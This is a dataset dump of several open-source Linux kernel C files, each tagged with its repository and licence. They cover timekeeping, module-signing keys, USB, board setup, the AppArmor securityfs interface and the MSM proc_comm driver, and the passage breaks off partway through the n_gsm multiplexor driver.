forgeservicelab/druid.web
sites/all/libraries/chosen/chosen.proto.js
JavaScript
gpl-2.0
42,886
/* * linux/arch/m68k/kernel/time.c * * Copyright (C) 1991, 1992, 1995 Linus Torvalds * * This file contains the m68k-specific time handling details. * Most of the stuff is located in the machine specific files. * * 1997-09-10 Updated NTP code according to technical memorandum Jan '96 * "A Kernel Model for Precision Timekeeping" by Dave Mills */ #include <linux/errno.h> #include <linux/module.h> #include <linux/sched.h> #include <linux/kernel.h> #include <linux/param.h> #include <linux/string.h> #include <linux/mm.h> #include <linux/rtc.h> #include <linux/platform_device.h> #include <asm/machdep.h> #include <asm/io.h> #include <asm/irq_regs.h> #include <linux/time.h> #include <linux/timex.h> #include <linux/profile.h> /* * timer_interrupt() needs to keep up the real-time clock, * as well as call the "xtime_update()" routine every clocktick */ static irqreturn_t timer_interrupt(int irq, void *dummy) { xtime_update(1); update_process_times(user_mode(get_irq_regs())); profile_tick(CPU_PROFILING); #ifdef CONFIG_HEARTBEAT /* use power LED as a heartbeat instead -- much more useful for debugging -- based on the version for PReP by Cort */ /* acts like an actual heart beat -- ie thump-thump-pause... */ if (mach_heartbeat) { static unsigned cnt = 0, period = 0, dist = 0; if (cnt == 0 || cnt == dist) mach_heartbeat( 1 ); else if (cnt == 7 || cnt == dist+7) mach_heartbeat( 0 ); if (++cnt > period) { cnt = 0; /* The hyperbolic function below modifies the heartbeat period * length in dependency of the current (5min) load. It goes * through the points f(0)=126, f(1)=86, f(5)=51, * f(inf)->30. */ period = ((672<<FSHIFT)/(5*avenrun[0]+(7<<FSHIFT))) + 30; dist = period / 4; } } #endif /* CONFIG_HEARTBEAT */ return IRQ_HANDLED; } void read_persistent_clock(struct timespec *ts) { struct rtc_time time; ts->tv_sec = 0; ts->tv_nsec = 0; if (mach_hwclk) { mach_hwclk(0, &time); if ((time.tm_year += 1900) < 1970) time.tm_year += 100; ts->tv_sec = mktime(time.tm_year, time.tm_mon, time.tm_mday, time.tm_hour, time.tm_min, time.tm_sec); } } #ifdef CONFIG_ARCH_USES_GETTIMEOFFSET static int __init rtc_init(void) { struct platform_device *pdev; if (!mach_hwclk) return -ENODEV; pdev = platform_device_register_simple("rtc-generic", -1, NULL, 0); return PTR_RET(pdev); } module_init(rtc_init); #endif /* CONFIG_ARCH_USES_GETTIMEOFFSET */ void __init time_init(void) { mach_sched_init(timer_interrupt); }
mopplayer/Firefly-RK3288-Kernel-With-Mali764
arch/m68k/kernel/time.c
C
gpl-2.0
2,533
/* Public keys for module signature verification * * Copyright (C) 2012 Red Hat, Inc. All Rights Reserved. * Written by David Howells (dhowells@redhat.com) * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public Licence * as published by the Free Software Foundation; either version * 2 of the Licence, or (at your option) any later version. */ #include <linux/kernel.h> #include <linux/sched.h> #include <linux/cred.h> #include <linux/err.h> #include <keys/asymmetric-type.h> #include "module-internal.h" struct key *modsign_keyring; extern __initdata const u8 modsign_certificate_list[]; extern __initdata const u8 modsign_certificate_list_end[]; /* * We need to make sure ccache doesn't cache the .o file as it doesn't notice * if modsign.pub changes. */ static __initdata const char annoy_ccache[] = __TIME__ "foo"; /* * Load the compiled-in keys */ static __init int module_verify_init(void) { pr_notice("Initialise module verification\n"); modsign_keyring = keyring_alloc(".module_sign", KUIDT_INIT(0), KGIDT_INIT(0), current_cred(), ((KEY_POS_ALL & ~KEY_POS_SETATTR) | KEY_USR_VIEW | KEY_USR_READ), KEY_ALLOC_NOT_IN_QUOTA, NULL); if (IS_ERR(modsign_keyring)) panic("Can't allocate module signing keyring\n"); return 0; } /* * Must be initialised before we try and load the keys into the keyring. */ device_initcall(module_verify_init); /* * Load the compiled-in keys */ static __init int load_module_signing_keys(void) { key_ref_t key; const u8 *p, *end; size_t plen; pr_notice("Loading module verification certificates\n"); end = modsign_certificate_list_end; p = modsign_certificate_list; while (p < end) { /* Each cert begins with an ASN.1 SEQUENCE tag and must be more * than 256 bytes in size. */ if (end - p < 4) goto dodgy_cert; if (p[0] != 0x30 && p[1] != 0x82) goto dodgy_cert; plen = (p[2] << 8) | p[3]; plen += 4; if (plen > end - p) goto dodgy_cert; key = key_create_or_update(make_key_ref(modsign_keyring, 1), "asymmetric", NULL, p, plen, (KEY_POS_ALL & ~KEY_POS_SETATTR) | KEY_USR_VIEW, KEY_ALLOC_NOT_IN_QUOTA); if (IS_ERR(key)) pr_err("MODSIGN: Problem loading in-kernel X.509 certificate (%ld)\n", PTR_ERR(key)); else pr_notice("MODSIGN: Loaded cert '%s'\n", key_ref_to_ptr(key)->description); p += plen; } return 0; dodgy_cert: pr_err("MODSIGN: Problem parsing in-kernel X.509 certificate list\n"); return 0; } late_initcall(load_module_signing_keys);
Bogdacutu/STLinux-Kernel
kernel/modsign_pubkey.c
C
gpl-2.0
2,634
/* * Copyright 2012 Tilera Corporation. All Rights Reserved. * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation, version 2. * * This program is distributed in the hope that it will be useful, but * WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE, GOOD TITLE or * NON INFRINGEMENT. See the GNU General Public License for * more details. */ /* * * Implementation of USB gxio calls. */ #include <linux/io.h> #include <linux/errno.h> #include <linux/module.h> #include <gxio/iorpc_globals.h> #include <gxio/iorpc_usb_host.h> #include <gxio/kiorpc.h> #include <gxio/usb_host.h> int gxio_usb_host_init(gxio_usb_host_context_t * context, int usb_index, int is_ehci) { char file[32]; int fd; if (is_ehci) snprintf(file, sizeof(file), "usb_host/%d/iorpc/ehci", usb_index); else snprintf(file, sizeof(file), "usb_host/%d/iorpc/ohci", usb_index); fd = hv_dev_open((HV_VirtAddr) file, 0); if (fd < 0) { if (fd >= GXIO_ERR_MIN && fd <= GXIO_ERR_MAX) return fd; else return -ENODEV; } context->fd = fd; // Map in the MMIO space. context->mmio_base = (void __force *)iorpc_ioremap(fd, 0, HV_USB_HOST_MMIO_SIZE); if (context->mmio_base == NULL) { hv_dev_close(context->fd); return -ENODEV; } return 0; } EXPORT_SYMBOL_GPL(gxio_usb_host_init); int gxio_usb_host_destroy(gxio_usb_host_context_t * context) { iounmap((void __force __iomem *)(context->mmio_base)); hv_dev_close(context->fd); context->mmio_base = NULL; context->fd = -1; return 0; } EXPORT_SYMBOL_GPL(gxio_usb_host_destroy); void *gxio_usb_host_get_reg_start(gxio_usb_host_context_t * context) { return context->mmio_base; } EXPORT_SYMBOL_GPL(gxio_usb_host_get_reg_start); size_t gxio_usb_host_get_reg_len(gxio_usb_host_context_t * context) { return HV_USB_HOST_MMIO_SIZE; } EXPORT_SYMBOL_GPL(gxio_usb_host_get_reg_len);
DESHONOR/android_kernel_huawei_msm8916_Blefish
arch/tile/gxio/usb_host.c
C
gpl-2.0
2,064
/* * arch/arm/mach-dove/cm-a510.c * * Copyright (C) 2010 CompuLab, Ltd. * Konstantin Sinyuk <kostyas@compulab.co.il> * * Based on Marvell DB-MV88AP510-BP Development Board Setup * * This file is licensed under the terms of the GNU General Public * License version 2. This program is licensed "as is" without any * warranty of any kind, whether express or implied. */ #include <linux/kernel.h> #include <linux/init.h> #include <linux/platform_device.h> #include <linux/ata_platform.h> #include <linux/mv643xx_eth.h> #include <linux/spi/spi.h> #include <linux/spi/flash.h> #include <asm/mach-types.h> #include <asm/mach/arch.h> #include <mach/dove.h> #include "common.h" static struct mv643xx_eth_platform_data cm_a510_ge00_data = { .phy_addr = MV643XX_ETH_PHY_ADDR_DEFAULT, }; static struct mv_sata_platform_data cm_a510_sata_data = { .n_ports = 1, }; /* * SPI Devices: * SPI0: 1M Flash Winbond w25q32bv */ static const struct flash_platform_data cm_a510_spi_flash_data = { .type = "w25q32bv", }; static struct spi_board_info __initdata cm_a510_spi_flash_info[] = { { .modalias = "m25p80", .platform_data = &cm_a510_spi_flash_data, .irq = -1, .max_speed_hz = 20000000, .bus_num = 0, .chip_select = 0, }, }; static int __init cm_a510_pci_init(void) { if (machine_is_cm_a510()) dove_pcie_init(1, 1); return 0; } subsys_initcall(cm_a510_pci_init); /* Board Init */ static void __init cm_a510_init(void) { /* * Basic Dove setup. Needs to be called early. */ dove_init(); dove_ge00_init(&cm_a510_ge00_data); dove_ehci0_init(); dove_ehci1_init(); dove_sata_init(&cm_a510_sata_data); dove_sdio0_init(); dove_sdio1_init(); dove_spi0_init(); dove_spi1_init(); dove_uart0_init(); dove_uart1_init(); dove_i2c_init(); spi_register_board_info(cm_a510_spi_flash_info, ARRAY_SIZE(cm_a510_spi_flash_info)); } MACHINE_START(CM_A510, "Compulab CM-A510 Board") .boot_params = 0x00000100, .init_machine = cm_a510_init, .map_io = dove_map_io, .init_early = dove_init_early, .init_irq = dove_init_irq, .timer = &dove_timer, MACHINE_END
MWisBest/android_kernel_samsung_tuna
arch/arm/mach-dove/cm-a510.c
C
gpl-2.0
2,131
/* * AppArmor security module * * This file contains AppArmor /sys/kernel/security/apparmor interface functions * * Copyright (C) 1998-2008 Novell/SUSE * Copyright 2009-2010 Canonical Ltd. * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License as * published by the Free Software Foundation, version 2 of the * License. */ #include <linux/security.h> #include <linux/vmalloc.h> #include <linux/module.h> #include <linux/seq_file.h> #include <linux/uaccess.h> #include <linux/namei.h> #include "include/apparmor.h" #include "include/apparmorfs.h" #include "include/audit.h" #include "include/context.h" #include "include/policy.h" /** * aa_simple_write_to_buffer - common routine for getting policy from user * @op: operation doing the user buffer copy * @userbuf: user buffer to copy data from (NOT NULL) * @alloc_size: size of user buffer (REQUIRES: @alloc_size >= @copy_size) * @copy_size: size of data to copy from user buffer * @pos: position write is at in the file (NOT NULL) * * Returns: kernel buffer containing copy of user buffer data or an * ERR_PTR on failure. */ static char *aa_simple_write_to_buffer(int op, const char __user *userbuf, size_t alloc_size, size_t copy_size, loff_t *pos) { char *data; BUG_ON(copy_size > alloc_size); if (*pos != 0) /* only writes from pos 0, that is complete writes */ return ERR_PTR(-ESPIPE); /* * Don't allow profile load/replace/remove from profiles that don't * have CAP_MAC_ADMIN */ if (!aa_may_manage_policy(op)) return ERR_PTR(-EACCES); /* freed by caller to simple_write_to_buffer */ data = kvmalloc(alloc_size); if (data == NULL) return ERR_PTR(-ENOMEM); if (copy_from_user(data, userbuf, copy_size)) { kvfree(data); return ERR_PTR(-EFAULT); } return data; } /* .load file hook fn to load policy */ static ssize_t profile_load(struct file *f, const char __user *buf, size_t size, loff_t *pos) { char *data; ssize_t error; data = aa_simple_write_to_buffer(OP_PROF_LOAD, buf, size, size, pos); error = PTR_ERR(data); if (!IS_ERR(data)) { error = aa_replace_profiles(data, size, PROF_ADD); kvfree(data); } return error; } static const struct file_operations aa_fs_profile_load = { .write = profile_load, .llseek = default_llseek, }; /* .replace file hook fn to load and/or replace policy */ static ssize_t profile_replace(struct file *f, const char __user *buf, size_t size, loff_t *pos) { char *data; ssize_t error; data = aa_simple_write_to_buffer(OP_PROF_REPL, buf, size, size, pos); error = PTR_ERR(data); if (!IS_ERR(data)) { error = aa_replace_profiles(data, size, PROF_REPLACE); kvfree(data); } return error; } static const struct file_operations aa_fs_profile_replace = { .write = profile_replace, .llseek = default_llseek, }; /* .remove file hook fn to remove loaded policy */ static ssize_t profile_remove(struct file *f, const char __user *buf, size_t size, loff_t *pos) { char *data; ssize_t error; /* * aa_remove_profile needs a null terminated string so 1 extra * byte is allocated and the copied data is null terminated. */ data = aa_simple_write_to_buffer(OP_PROF_RM, buf, size + 1, size, pos); error = PTR_ERR(data); if (!IS_ERR(data)) { data[size] = 0; error = aa_remove_profiles(data, size); kvfree(data); } return error; } static const struct file_operations aa_fs_profile_remove = { .write = profile_remove, .llseek = default_llseek, }; /** Base file system setup **/ static struct dentry *aa_fs_dentry __initdata; static void __init aafs_remove(const char *name) { struct dentry *dentry; dentry = lookup_one_len(name, aa_fs_dentry, strlen(name)); if (!IS_ERR(dentry)) { securityfs_remove(dentry); dput(dentry); } } /** * aafs_create - create an entry in the apparmor filesystem * @name: name of the entry (NOT NULL) * @mask: file permission mask of the file * @fops: file operations for the file (NOT NULL) * * Used aafs_remove to remove entries created with this fn. */ static int __init aafs_create(const char *name, int mask, const struct file_operations *fops) { struct dentry *dentry; dentry = securityfs_create_file(name, S_IFREG | mask, aa_fs_dentry, NULL, fops); return IS_ERR(dentry) ? PTR_ERR(dentry) : 0; } /** * aa_destroy_aafs - cleanup and free aafs * * releases dentries allocated by aa_create_aafs */ void __init aa_destroy_aafs(void) { if (aa_fs_dentry) { aafs_remove(".remove"); aafs_remove(".replace"); aafs_remove(".load"); securityfs_remove(aa_fs_dentry); aa_fs_dentry = NULL; } } /** * aa_create_aafs - create the apparmor security filesystem * * dentries created here are released by aa_destroy_aafs * * Returns: error on failure */ int __init aa_create_aafs(void) { int error; if (!apparmor_initialized) return 0; if (aa_fs_dentry) { AA_ERROR("%s: AppArmor securityfs already exists\n", __func__); return -EEXIST; } aa_fs_dentry = securityfs_create_dir("apparmor", NULL); if (IS_ERR(aa_fs_dentry)) { error = PTR_ERR(aa_fs_dentry); aa_fs_dentry = NULL; goto error; } error = aafs_create(".load", 0640, &aa_fs_profile_load); if (error) goto error; error = aafs_create(".replace", 0640, &aa_fs_profile_replace); if (error) goto error; error = aafs_create(".remove", 0640, &aa_fs_profile_remove); if (error) goto error; /* TODO: add support for apparmorfs_null and apparmorfs_mnt */ /* Report that AppArmor fs is enabled */ aa_info_message("AppArmor Filesystem Enabled"); return 0; error: aa_destroy_aafs(); AA_ERROR("Error creating AppArmor securityfs\n"); return error; } fs_initcall(aa_create_aafs);
nspierbundel/test
security/apparmor/apparmorfs.c
C
gpl-2.0
5,762
/* arch/arm/mach-msm/proc_comm.c * * Copyright (C) 2007-2008 Google, Inc. * Author: Brian Swetland <swetland@google.com> * * This software is licensed under the terms of the GNU General Public * License version 2, as published by the Free Software Foundation, and * may be copied, distributed, and modified under those terms. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * */ #include <linux/delay.h> #include <linux/errno.h> #include <linux/io.h> #include <linux/spinlock.h> #include <mach/msm_iomap.h> #include <mach/system.h> #include "proc_comm.h" static inline void msm_a2m_int(uint32_t irq) { #if defined(CONFIG_ARCH_MSM7X30) writel(1 << irq, MSM_GCC_BASE + 0x8); #else writel(1, MSM_CSR_BASE + 0x400 + (irq * 4)); #endif } static inline void notify_other_proc_comm(void) { msm_a2m_int(6); } #define APP_COMMAND 0x00 #define APP_STATUS 0x04 #define APP_DATA1 0x08 #define APP_DATA2 0x0C #define MDM_COMMAND 0x10 #define MDM_STATUS 0x14 #define MDM_DATA1 0x18 #define MDM_DATA2 0x1C static DEFINE_SPINLOCK(proc_comm_lock); /* The higher level SMD support will install this to * provide a way to check for and handle modem restart. */ int (*msm_check_for_modem_crash)(void); /* Poll for a state change, checking for possible * modem crashes along the way (so we don't wait * forever while the ARM9 is blowing up). * * Return an error in the event of a modem crash and * restart so the msm_proc_comm() routine can restart * the operation from the beginning. */ static int proc_comm_wait_for(void __iomem *addr, unsigned value) { for (;;) { if (readl(addr) == value) return 0; if (msm_check_for_modem_crash) if (msm_check_for_modem_crash()) return -EAGAIN; } } int msm_proc_comm(unsigned cmd, unsigned *data1, unsigned *data2) { void __iomem *base = MSM_SHARED_RAM_BASE; unsigned long flags; int ret; spin_lock_irqsave(&proc_comm_lock, flags); for (;;) { if (proc_comm_wait_for(base + MDM_STATUS, PCOM_READY)) continue; writel(cmd, base + APP_COMMAND); writel(data1 ? *data1 : 0, base + APP_DATA1); writel(data2 ? *data2 : 0, base + APP_DATA2); notify_other_proc_comm(); if (proc_comm_wait_for(base + APP_COMMAND, PCOM_CMD_DONE)) continue; if (readl(base + APP_STATUS) != PCOM_CMD_FAIL) { if (data1) *data1 = readl(base + APP_DATA1); if (data2) *data2 = readl(base + APP_DATA2); ret = 0; } else { ret = -EIO; } break; } writel(PCOM_CMD_IDLE, base + APP_COMMAND); spin_unlock_irqrestore(&proc_comm_lock, flags); return ret; } /* * We need to wait for the ARM9 to at least partially boot * up before we can continue. Since the ARM9 does resource * allocation, if we dont' wait we could end up crashing or in * and unknown state. This function should be called early to * wait on the ARM9. */ void __init proc_comm_boot_wait(void) { void __iomem *base = MSM_SHARED_RAM_BASE; proc_comm_wait_for(base + MDM_STATUS, PCOM_READY); }
DirtyJerz/omap
arch/arm/mach-msm/proc_comm.c
C
gpl-2.0
3,166
/* * n_gsm.c GSM 0710 tty multiplexor * Copyright (c) 2009/10 Intel Corporation * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * * * THIS IS A DEVELOPMENT SNAPSHOT IT IS NOT A FINAL RELEASE * * * TO DO: * Mostly done: ioctls for setting modes/timing * Partly done: hooks so you can pull off frames to non tty devs * Restart DLCI 0 when it closes ? * Improve the tx engine * Resolve tx side locking by adding a queue_head and routing * all control traffic via it * General tidy/document * Review the locking/move to refcounts more (mux now moved to an * alloc/free model ready) * Use newest tty open/close port helpers and install hooks * What to do about power functions ? * Termios setting and negotiation * Do we need a 'which mux are you' ioctl to correlate mux and tty sets * */ #include <linux/types.h> #include <linux/major.h> #include <linux/errno.h> #include <linux/signal.h> #include <linux/fcntl.h> #include <linux/sched.h> #include <linux/interrupt.h> #include <linux/tty.h> #include <linux/ctype.h> #include <linux/mm.h> #include <linux/string.h> #include <linux/slab.h> #include <linux/poll.h> #include <linux/bitops.h> #include <linux/file.h> #include <linux/uaccess.h> #include <linux/module.h> #include <linux/timer.h> #include <linux/tty_flip.h> #include <linux/tty_driver.h> #include <linux/serial.h> #include <linux/kfifo.h> #include <linux/skbuff.h> #include <net/arp.h> #include <linux/ip.h> #include <linux/netdevice.h> #include <linux/etherdevice.h> #include <linux/gsmmux.h> static int debug; module_param(debug, int, 0600); /* Defaults: these are from the specification */ #define T1 10 /* 100mS */ #define T2 34 /* 333mS */ #define N2 3 /* Retry 3 times */ /* Use long timers for testing at low speed with debug on */ #ifdef DEBUG_TIMING #define T1 100 #define T2 200 #endif /* * Semi-arbitrary buffer size limits. 0710 is normally run with 32-64 byte * limits so this is plenty */ #define MAX_MRU 1500 #define MAX_MTU 1500 #define GSM_NET_TX_TIMEOUT (HZ*10) /** * struct gsm_mux_net - network interface * @struct gsm_dlci* dlci * @struct net_device_stats stats; * * Created when net interface is initialized. **/ struct gsm_mux_net { struct kref ref; struct gsm_dlci *dlci; struct net_device_stats stats; }; #define STATS(net) (((struct gsm_mux_net *)netdev_priv(net))->stats) /* * Each block of data we have queued to go out is in the form of * a gsm_msg which holds everything we need in a link layer independent * format */ struct gsm_msg { struct gsm_msg *next; u8 addr; /* DLCI address + flags */ u8 ctrl; /* Control byte + flags */ unsigned int len; /* Length of data block (can be zero) */ unsigned char *data; /* Points into buffer but not at the start */ unsigned char buffer[0]; }; /* * Each active data link has a gsm_dlci structure associated which ties * the link layer to an optional tty (if the tty side is open). To avoid * complexity right now these are only ever freed up when the mux is * shut down. * * At the moment we don't free DLCI objects until the mux is torn down * this avoid object life time issues but might be worth review later. */ struct gsm_dlci { struct gsm_mux *gsm; int addr; int state; #define DLCI_CLOSED 0 #define DLCI_OPENING 1 /* Sending SABM not seen UA */ #define DLCI_OPEN 2 /* SABM/UA complete */ #define DLCI_CLOSING 3 /* Sending DISC not seen UA/DM */ struct kref ref; /* freed from port or mux close */ struct mutex mutex; /* Link layer */ spinlock_t lock; /* Protects the internal state */ struct timer_list t1; /* Retransmit timer for SABM and UA */ int retries; /* Uplink tty if active */ struct tty_port port; /* The tty bound to this DLCI if there is one */ struct kfifo *fifo; /* Queue fifo for the DLCI */ struct kfifo _fifo; /* For new fifo API porting only */ int adaption; /* Adaption layer in use */ int prev_adaption; u32 modem_rx; /* Our incoming virtual modem lines */ u32 modem_tx; /* Our outgoing modem lines */ int dead; /* Refuse re-open */ /* Flow control */ int throttled; /* Private copy of throttle state */ int constipated; /* Throttle status for outgoing */ /* Packetised I/O */ struct sk_buff *skb; /* Frame being sent */ struct sk_buff_head skb_list; /* Queued frames */ /* Data handling callback */ void (*data)(struct gsm_dlci *dlci, u8 *data, int len); void (*prev_data)(struct gsm_dlci *dlci, u8 *data, int len); struct net_device *net; /* network interface, if created */ }; /* DLCI 0, 62/63 are special or reseved see gsmtty_open */ #define NUM_DLCI 64 /* * DLCI 0 is used to pass control blocks out of band of the data * flow (and with a higher link priority). One command can be outstanding * at a time and we use this structure to manage them. They are created * and destroyed by the user context, and updated by the receive paths * and timers */ struct gsm_control { u8 cmd; /* Command we are issuing */ u8 *data; /* Data for the command in case we retransmit */ int len; /* Length of block for retransmission */ int done; /* Done flag */ int error; /* Error if any */ }; /* * Each GSM mux we have is represented by this structure. If we are * operating as an ldisc then we use this structure as our ldisc * state. We need to sort out lifetimes and locking with respect * to the gsm mux array. For now we don't free DLCI objects that * have been instantiated until the mux itself is terminated. * * To consider further: tty open versus mux shutdown. */ struct gsm_mux { struct tty_struct *tty; /* The tty our ldisc is bound to */ spinlock_t lock; unsigned int num; struct kref ref; /* Events on the GSM channel */ wait_queue_head_t event; /* Bits for GSM mode decoding */ /* Framing Layer */ unsigned char *buf; int state; #define GSM_SEARCH 0 #define GSM_START 1 #define GSM_ADDRESS 2 #define GSM_CONTROL 3 #define GSM_LEN 4 #define GSM_DATA 5 #define GSM_FCS 6 #define GSM_OVERRUN 7 #define GSM_LEN0 8 #define GSM_LEN1 9 #define GSM_SSOF 10 unsigned int len; unsigned int address; unsigned int count; int escape; int encoding; u8 control; u8 fcs; u8 received_fcs; u8 *txframe; /* TX framing buffer */ /* Methods for the receiver side */ void (*receive)(struct gsm_mux *gsm, u8 ch); void (*error)(struct gsm_mux *gsm, u8 ch, u8 flag); /* And transmit side */ int (*output)(struct gsm_mux *mux, u8 *data, int len); /* Link Layer */ unsigned int mru; unsigned int mtu; int initiator; /* Did we initiate connection */ int dead; /* Has the mux been shut down */ struct gsm_dlci *dlci[NUM_DLCI]; int constipated; /* Asked by remote to shut up */ spinlock_t tx_lock; unsigned int tx_bytes; /* TX data outstanding */ #define TX_THRESH_HI 8192 #define TX_THRESH_LO 2048 struct gsm_msg *tx_head; /* Pending data packets */ struct gsm_msg *tx_tail; /* Control messages */ struct timer_list t2_timer; /* Retransmit timer for commands */ int cretries; /* Command retry counter */ struct gsm_control *pending_cmd;/* Our current pending command */ spinlock_t control_lock; /* Protects the pending command */ /* Configuration */ int adaption; /* 1 or 2 supported */ u8 ftype; /* UI or UIH */ int t1, t2; /* Timers in 1/100th of a sec */ int n2; /* Retry count */ /* Statistics (not currently exposed) */ unsigned long bad_fcs; unsigned long malformed; unsigned long io_error; unsigned long bad_size; unsigned long unsupported; }; /* * Mux objects - needed so that we can translate a tty index into the * relevant mux and DLCI. */ #define MAX_MUX 4 /* 256 minors */ static struct gsm_mux *gsm_mux[MAX_MUX]; /* GSM muxes */ static spinlock_t gsm_mux_lock; static struct tty_driver *gsm_tty_driver; /* * This section of the driver logic implements the GSM encodings * both the basic and the 'advanced'. Reliable transport is not * supported. */ #define CR 0x02 #define EA 0x01 #define PF 0x10 /* I is special: the rest are ..*/ #define RR 0x01 #define UI 0x03 #define RNR 0x05 #define REJ 0x09 #define DM 0x0F #define SABM 0x2F #define DISC 0x43 #define UA 0x63 #define UIH 0xEF /* Channel commands */ #define CMD_NSC 0x09 #define CMD_TEST 0x11 #define CMD_PSC 0x21 #define CMD_RLS 0x29 #define CMD_FCOFF 0x31 #define CMD_PN 0x41 #define CMD_RPN 0x49 #define CMD_FCON 0x51 #define CMD_CLD 0x61 #define CMD_SNC 0x69 #define CMD_MSC 0x71 /* Virtual modem bits */ #define MDM_FC 0x01 #define MDM_RTC 0x02 #define MDM_RTR 0x04 #define MDM_IC 0x20 #define MDM_DV 0x40 #define GSM0_SOF 0xF9 #define GSM1_SOF 0x7E #define GSM1_ESCAPE 0x7D #define GSM1_ESCAPE_BITS 0x20 #define XON 0x11 #define XOFF 0x13 static const struct tty_port_operations gsm_port_ops; /* * CRC table for GSM 0710 */ static const u8 gsm_fcs8[256] = { 0x00, 0x91, 0xE3, 0x72, 0x07, 0x96, 0xE4, 0x75, 0x0E, 0x9F, 0xED, 0x7C, 0x09, 0x98, 0xEA, 0x7B, 0x1C, 0x8D, 0xFF, 0x6E, 0x1B, 0x8A, 0xF8, 0x69, 0x12, 0x83, 0xF1, 0x60, 0x15, 0x84, 0xF6, 0x67, 0x38, 0xA9, 0xDB, 0x4A, 0x3F, 0xAE, 0xDC, 0x4D, 0x36, 0xA7, 0xD5, 0x44, 0x31, 0xA0, 0xD2, 0x43, 0x24, 0xB5, 0xC7, 0x56, 0x23, 0xB2, 0xC0, 0x51, 0x2A, 0xBB, 0xC9, 0x58, 0x2D, 0xBC, 0xCE, 0x5F, 0x70, 0xE1, 0x93, 0x02, 0x77, 0xE6, 0x94, 0x05, 0x7E, 0xEF, 0x9D, 0x0C, 0x79, 0xE8, 0x9A, 0x0B, 0x6C, 0xFD, 0x8F, 0x1E, 0x6B, 0xFA, 0x88, 0x19, 0x62, 0xF3, 0x81, 0x10, 0x65, 0xF4, 0x86, 0x17, 0x48, 0xD9, 0xAB, 0x3A, 0x4F, 0xDE, 0xAC, 0x3D, 0x46, 0xD7, 0xA5, 0x34, 0x41, 0xD0, 0xA2, 0x33, 0x54, 0xC5, 0xB7, 0x26, 0x53, 0xC2, 0xB0, 0x21, 0x5A, 0xCB, 0xB9, 0x28, 0x5D, 0xCC, 0xBE, 0x2F, 0xE0, 0x71, 0x03, 0x92, 0xE7, 0x76, 0x04, 0x95, 0xEE, 0x7F, 0x0D, 0x9C, 0xE9, 0x78, 0x0A, 0x9B, 0xFC, 0x6D, 0x1F, 0x8E, 0xFB, 0x6A, 0x18, 0x89, 0xF2, 0x63, 0x11, 0x80, 0xF5, 0x64, 0x16, 0x87, 0xD8, 0x49, 0x3B, 0xAA, 0xDF, 0x4E, 0x3C, 0xAD, 0xD6, 0x47, 0x35, 0xA4, 0xD1, 0x40, 0x32, 0xA3, 0xC4, 0x55, 0x27, 0xB6, 0xC3, 0x52, 0x20, 0xB1, 0xCA, 0x5B, 0x29, 0xB8, 0xCD, 0x5C, 0x2E, 0xBF, 0x90, 0x01, 0x73, 0xE2, 0x97, 0x06, 0x74, 0xE5, 0x9E, 0x0F, 0x7D, 0xEC, 0x99, 0x08, 0x7A, 0xEB, 0x8C, 0x1D, 0x6F, 0xFE, 0x8B, 0x1A, 0x68, 0xF9, 0x82, 0x13, 0x61, 0xF0, 0x85, 0x14, 0x66, 0xF7, 0xA8, 0x39, 0x4B, 0xDA, 0xAF, 0x3E, 0x4C, 0xDD, 0xA6, 0x37, 0x45, 0xD4, 0xA1, 0x30, 0x42, 0xD3, 0xB4, 0x25, 0x57, 0xC6, 0xB3, 0x22, 0x50, 0xC1, 0xBA, 0x2B, 0x59, 0xC8, 0xBD, 0x2C, 0x5E, 0xCF }; #define INIT_FCS 0xFF #define GOOD_FCS 0xCF /** * gsm_fcs_add - update FCS * @fcs: Current FCS * @c: Next data * * Update the FCS to include c. Uses the algorithm in the specification * notes. */ static inline u8 gsm_fcs_add(u8 fcs, u8 c) { return gsm_fcs8[fcs ^ c]; } /** * gsm_fcs_add_block - update FCS for a block * @fcs: Current FCS * @c: buffer of data * @len: length of buffer * * Update the FCS to include c. Uses the algorithm in the specification * notes. */ static inline u8 gsm_fcs_add_block(u8 fcs, u8 *c, int len) { while (len--) fcs = gsm_fcs8[fcs ^ *c++]; return fcs; } /** * gsm_read_ea - read a byte into an EA * @val: variable holding value * c: byte going into the EA * * Processes one byte of an EA. Updates the passed variable * and returns 1 if the EA is now completely read */ static int gsm_read_ea(unsigned int *val, u8 c) { /* Add the next 7 bits into the value */ *val <<= 7; *val |= c >> 1; /* Was this the last byte of the EA 1 = yes*/ return c & EA; } /** * gsm_encode_modem - encode modem data bits * @dlci: DLCI to encode from * * Returns the correct GSM encoded modem status bits (6 bit field) for * the current status of the DLCI and attached tty object */ static u8 gsm_encode_modem(const struct gsm_dlci *dlci) { u8 modembits = 0; /* FC is true flow control not modem bits */ if (dlci->throttled) modembits |= MDM_FC; if (dlci->modem_tx & TIOCM_DTR) modembits |= MDM_RTC; if (dlci->modem_tx & TIOCM_RTS) modembits |= MDM_RTR; if (dlci->modem_tx & TIOCM_RI) modembits |= MDM_IC; if (dlci->modem_tx & TIOCM_CD) modembits |= MDM_DV; return modembits; } /** * gsm_print_packet - display a frame for debug * @hdr: header to print before decode * @addr: address EA from the frame * @cr: C/R bit from the frame * @control: control including PF bit * @data: following data bytes * @dlen: length of data * * Displays a packet in human readable format for debugging purposes. The * style is based on amateur radio LAP-B dump display. */ static void gsm_print_packet(const char *hdr, int addr, int cr, u8 control, const u8 *data, int dlen) { if (!(debug & 1)) return; pr_info("%s %d) %c: ", hdr, addr, "RC"[cr]); switch (control & ~PF) { case SABM: pr_cont("SABM"); break; case UA: pr_cont("UA"); break; case DISC: pr_cont("DISC"); break; case DM: pr_cont("DM"); break; case UI: pr_cont("UI"); break; case UIH: pr_cont("UIH"); break; default: if (!(control & 0x01)) { pr_cont("I N(S)%d N(R)%d", (control & 0x0E) >> 1, (control & 0xE) >> 5); } else switch (control & 0x0F) { case 